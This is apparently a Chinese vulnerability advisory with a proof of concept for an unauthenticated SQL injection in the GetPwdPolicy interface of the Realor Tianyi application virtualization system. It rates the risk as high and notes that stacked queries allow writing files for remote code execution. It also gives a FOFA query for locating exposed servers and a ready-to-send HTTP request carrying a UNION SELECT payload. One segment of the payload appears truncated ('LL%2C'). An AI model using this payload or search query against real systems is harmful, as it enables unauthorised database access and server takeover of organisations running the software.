

瑞友天翼应用虚拟化系统 GetPwdPolicy SQL注入漏洞

漏洞描述

瑞友天翼应用虚拟化系统中的 GetPwdPolicy 存在无需鉴权SQL注入的风险的接口，攻击者可利用 php PDO默认支持堆叠的方式使用堆叠写入恶意文件导致 RCE。

影响版本

天翼应用虚拟化系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: app="REALOR-天翼应用虚拟化系统"

POC/EXP:

GET /RAPAgent.XGI?

CMD=GetPwdPolicy&User=1%27+UNION+ALL+SELECT+NULL%2CNULL%2CNULL%2CNULL%2CNULL%2C
LL%2CCONCAT%280x7e%2C%28SELECT+user()%29%2C0x7e%29%2CNULL%2CNULL%2CNULL%2C
NULL%2CNULL%2CNULL%2CNULL--+ HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

Accept-Encoding: gzip, deflate, br

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: keep-alive

